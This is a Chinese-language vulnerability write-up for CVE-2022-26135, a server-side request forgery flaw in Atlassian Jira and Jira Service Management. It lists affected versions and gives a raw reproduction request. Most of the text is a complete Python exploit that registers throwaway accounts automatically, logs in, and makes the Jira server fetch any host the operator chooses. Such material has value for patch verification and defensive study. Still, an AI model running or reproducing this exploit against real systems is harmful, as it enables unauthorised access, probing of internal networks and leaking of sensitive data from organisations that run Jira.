# Atlassian Jira Mobile Plugin SSRF漏洞 CVE-2022-26135 ## 漏洞描述 6月29日,Atlassian官方发布安全公告,在Atlassian Jira 多款产品中存在服务端请求伪造漏洞(SSRF),经过身份验证的远程攻击者可通过向Jira Core REST API发送特制请求,从而伪造服务端发起请求,从而导致敏感信息泄露,同时为下一步攻击利用提供条件。需注意的是,若服务端开启注册功能,则未授权用户可通过注册获取权限进而利用。 ## 漏洞影响 ``` Jira Core Server, Jira Software Server, and Jira Software Data Center: Versions after 8.0 and before 8.13.22 8.14.x 8.15.x 8.16.x 8.17.x 8.18.x 8.19.x 8.20.x before 8.20.10 8.21.x 8.22.x before 8.22.4 Jira Service Management Server and Data Center: Versions after 4.0 and before 4.13.22 4.14.x 4.15.x 4.16.x 4.17.x 4.18.x 4.19.x 4.20.x before 4.20.10 4.21.x 4.22.x before 4.22.4 ``` ## 漏洞复现 ``` POST /rest/nativemobile/1.0/batch HTTP/2 Host: issues.example.com Cookie: JSESSIONID=44C6A24A15A1128CE78586A0FA1B1662; seraph.rememberme.cookie=818752%3Acc12c66e2f048b9d50eff8548800262587b3e9b1; atlassian.xsrf.token=AES2-GIY1-7JLS-HNZJ_db57d0893ec4d2e2f81c51c1a8984bde993b7445_lin User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36 Content-Type: application/json Accept: application/json, text/javascript, */*; q=0.01 X-Requested-With: XMLHttpRequest Origin: https://issues.example.com Referer: https://issues.example.com/plugins/servlet/desk Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Content-Length: 63 {"requests":[{"method":"GET","location":"dnslog@example.com"}]} ``` ## 漏洞POC - https://github.com/assetnote/jira-mobile-ssrf-exploit ``` import requests import string import random import argparse from bs4 import BeautifulSoup as bs4 import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) parser = argparse.ArgumentParser() parser.add_argument("--target", help="i.e. http://re.local:8090", required=True) parser.add_argument("--ssrf", help="i.e. example.com (no protocol pls)", required=True) parser.add_argument("--mode", help="i.e. manual or automatic - manual mode you need to provide user auth info", required=True, default="automatic") parser.add_argument("--software", help="i.e. jira or jsd - only needed for manual mode") parser.add_argument("--username", help="i.e. admin - only needed for manual jira mode") parser.add_argument("--email", help="i.e. admin@example.com - only needed for manual jira service desk mode") parser.add_argument("--password", help="i.e. testing123 - only needed for manual mode") args = parser.parse_args() if args.mode == "manual": if args.software == "": print("[*] please pass in a software (jira / jsd)") if args.software == "jira" and args.email == "" and args.password == "": print("[*] must provide an email and password for jira in manual mode") if args.software == "jsd" and args.username == "" and args.password == "": print("[*] must provide an username and password for jira in manual mode") # atlast - exploit tested on jira < 8.20.3 / jira service desk < 4.20.3-REL-0018 # for full list of affected jira versions please see the following URL # https://confluence.atlassian.com/jira/jira-server-security-advisory-29nd-june-2022-1142430667.html # by shubs banner = """ _ _ _ __ _| |_| | __ _ ___| |_ / _` | __| |/ _` / __| __| | (_| | |_| | (_| \__ \ |_ \__,_|\__|_|\__,_|___/\__| jira full read ssrf [CVE-2022-26135] brought to you by assetnote [https://assetnote.io] """ print(banner) proxies = {} # proxy to burp like this - {"https":"http://localhost:8080"} session = requests.Session() def detect_jira_root(target): root_paths = ["/", "/secure/" "/jira/", "/issues/"] jira_found = "" for path in root_paths: test_url = "{}/{}".format(target, path) r = session.get(test_url, verify=False, proxies=proxies) if "ajs-base-url" in r.text: jira_found = path break return jira_found def get_jira_signup(target, base_path): test_url = "{}{}".format(target, base_path) r = session.get(test_url, verify=False, proxies=proxies) signup_enabled = False if "Signup!default.jspa" in r.text: signup_enabled = True return signup_enabled def signup_user(target, base_path): test_url = "{}{}secure/Signup!default.jspa".format(target, base_path) test_url_post = "{}{}secure/Signup.jspa".format(target, base_path) r = session.get(test_url, verify=False, proxies=proxies) if 'name="captcha"' in r.text: print("[*] url {} has captchas enabled, please complete flow manually and provide user and password as arg".format(test_url)) return False, {} if "Mode Breach" in r.text: print("[*] url {} has signups disabled, trying JSD approach".format(test_url)) return False, {} # captcha not detected, proceed with registration html_bytes = r.text soup = bs4(html_bytes, 'lxml') token = soup.find('input', {'name':'atl_token'})['value'] full_name = ''.join(random.sample((string.ascii_uppercase+string.digits),6)) email = "{}@example.com".format(full_name) password = "9QWP7zyvfa4nJU9QKu*Yt8_QzbP" paramsPost = {"password":password,"Signup":"Sign up","atl_token":token,"fullname":full_name,"email":email,"username":full_name} headers = {"Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9","User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36","Connection":"close","Pragma":"no-cache","DNT":"1","Accept-Encoding":"gzip, deflate","Cache-Control":"no-cache","Upgrade-Insecure-Requests":"1","Accept-Language":"en-US,en;q=0.9","Content-Type":"application/x-www-form-urlencoded"} cookies = {"atlassian.xsrf.token":token} r = session.post(test_url_post, data=paramsPost, headers=headers, cookies=cookies, verify=False, proxies=proxies) if "Congratulations!" in r.text: print("[*] successful registration") user_obj = {"username": full_name, "password": password, "email": email} return True, user_obj # attempts to signup to root JSD def register_jsd(target, base_path): register_url = "{}{}servicedesk/customer/user/signup".format(target, base_path) full_name = ''.join(random.sample((string.ascii_uppercase+string.digits),6)) email = "{}@example.com".format(full_name) password = "9QWP7zyvfa4nJU9QKu*Yt8_QzbP" # try and sign up to the service desk portal without project IDs (easy win?) rawBody = "{{\"email\":\"{}\",\"fullname\":\"{}\",\"password\":\"{}\",\"captcha\":\"\",\"secondaryEmail\":\"\"}}".format(email, full_name, password) headers = {"Origin":"{}".format(target),"Accept":"*/*","X-Requested-With":"XMLHttpRequest","User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36","Referer":"{}/servicedesk/customer/portal/1/user/signup".format(target),"Connection":"close","Pragma":"no-cache","DNT":"1","Accept-Encoding":"gzip, deflate","Cache-Control":"no-cache","Accept-Language":"en-US,en;q=0.9","Content-Type":"application/json"} r = session.post(register_url, data=rawBody, headers=headers, verify=False, proxies=proxies) if r.status_code == 204: print("[*] successful registration") user_obj = {"username": full_name, "password": password, "email": email} return True, user_obj print("[*] url {} has non-captcha user/pass signups disabled :(".format(register_url)) register_email_url = "{}{}servicedesk/customer/user/emailsignup".format(target, base_path) rawBody = "{{\"email\":\"{}\",\"captcha\":\"\",\"secondaryEmail\":\"\"}}".format(email) r = session.post(register_email_url, data=rawBody, headers=headers, verify=False, proxies=proxies) if r.status_code == 204: print("[*] registration may be possible via emailsignup endpoint") print("[*] you will have to manually exploit this with a real email") print("[*] visit {}".format(register_url)) return False, {} if r.status_code == 400: print("[*] registration may be possible via emailsignup endpoint") print("[*] you will have to manually exploit this with a real email and captcha") print("[*] visit {}".format(register_url)) return False, {} print(r.status_code) return False, {} def exploit_ssrf_jsd(target, base_path, user_obj, ssrf_host): login_url = "{}{}servicedesk/customer/user/login".format(target, base_path) paramsPost = {"os_password":user_obj["password"],"os_username":user_obj["email"]} headers = {"Origin":"{}".format(target),"Accept":"*/*","X-Requested-With":"XMLHttpRequest","User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36","Referer":"{}/servicedesk/customer/portal/1/user/signup".format(target),"Connection":"close","Pragma":"no-cache","DNT":"1","Accept-Encoding":"gzip, deflate","Cache-Control":"no-cache","Accept-Language":"en-US,en;q=0.9","Content-Type":"application/x-www-form-urlencoded"} r = session.post(login_url, data=paramsPost, headers=headers, verify=False, proxies=proxies) if "loginSucceeded" in r.text: print("[*] successful login") test_url = "{}{}rest/nativemobile/1.0/batch".format(target, base_path) rawBody = "{{\"requests\":[{{\"method\":\"GET\",\"location\":\"@{}\"}}]}}".format(ssrf_host) headers = {"Origin":"{}".format(target),"Accept":"*/*","X-Requested-With":"XMLHttpRequest","User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36","Referer":"{}/servicedesk/customer/portal/1/user/signup".format(target),"Connection":"close","Pragma":"no-cache","DNT":"1","Accept-Encoding":"gzip, deflate","Cache-Control":"no-cache","Accept-Language":"en-US,en;q=0.9","Content-Type":"application/json"} r = session.post(test_url, data=rawBody, headers=headers) print("Status code: %i" % r.status_code) print("Response body: %s" % r.content) def exploit_ssrf_jira(target, base_path, user_obj, ssrf_host): login_url = "{}{}login.jsp".format(target, base_path) paramsPost = {"os_password":user_obj["password"],"user_role":"","os_username":user_obj["username"],"atl_token":"","os_destination":"","login":"Log In"} headers = {"Origin":"{}".format(target),"Accept":"*/*","X-Requested-With":"XMLHttpRequest","User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36","Referer":"{}/".format(target),"Connection":"close","Pragma":"no-cache","DNT":"1","Accept-Encoding":"gzip, deflate","Cache-Control":"no-cache","Upgrade-Insecure-Requests":"1","Accept-Language":"en-US,en;q=0.9","Content-Type":"application/x-www-form-urlencoded"} r = session.post(login_url, data=paramsPost, headers=headers, verify=False, proxies=proxies) if r.headers["X-Seraph-LoginReason"] == "OK": print("[*] successful login") test_url = "{}{}rest/nativemobile/1.0/batch".format(target, base_path) rawBody = "{{\"requests\":[{{\"method\":\"GET\",\"location\":\"@{}\"}}]}}".format(ssrf_host) headers = {"Origin":"{}".format(target),"Accept":"*/*","X-Requested-With":"XMLHttpRequest","User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36","Referer":"{}/servicedesk/customer/portal/1/user/signup".format(target),"Connection":"close","Pragma":"no-cache","DNT":"1","Accept-Encoding":"gzip, deflate","Cache-Control":"no-cache","Accept-Language":"en-US,en;q=0.9","Content-Type":"application/json"} r = session.post(test_url, data=rawBody, headers=headers) print("Status code: %i" % r.status_code) print("Response body: %s" % r.content) # target = "http://re.local:8090" # ssrf_host = "907zer1sxey5czbnnf7p9d1zfqlj98.oastify.com" user_obj = {} successful_jira_signup = False successful_jsd_signup = False jira_root = detect_jira_root(args.target) if args.mode == "manual" and args.software == "jira": user_obj = {"username": args.username, "password": args.password, "email": args.email} exploit_ssrf_jira(args.target, jira_root, user_obj, args.ssrf) if args.mode == "manual" and args.software == "jsd": user_obj = {"username": args.username, "password": args.password, "email": args.email} exploit_ssrf_jsd(args.target, jira_root, user_obj, args.ssrf) if args.mode == "automatic": signup_enabled = get_jira_signup(args.target, jira_root) successful_jira_signup, user_obj = signup_user(args.target, jira_root) if successful_jira_signup == True: exploit_ssrf_jira(args.target, jira_root, user_obj, args.ssrf) if successful_jira_signup == False: # try to sign up to jira service desk instead successful_jsd_signup, user_obj = register_jsd(args.target, jira_root) if successful_jsd_signup: exploit_ssrf_jsd(args.target, jira_root, user_obj, args.ssrf) if successful_jira_signup == False and successful_jsd_signup == False: print("[*] sorry boss no ssrf for you today") ```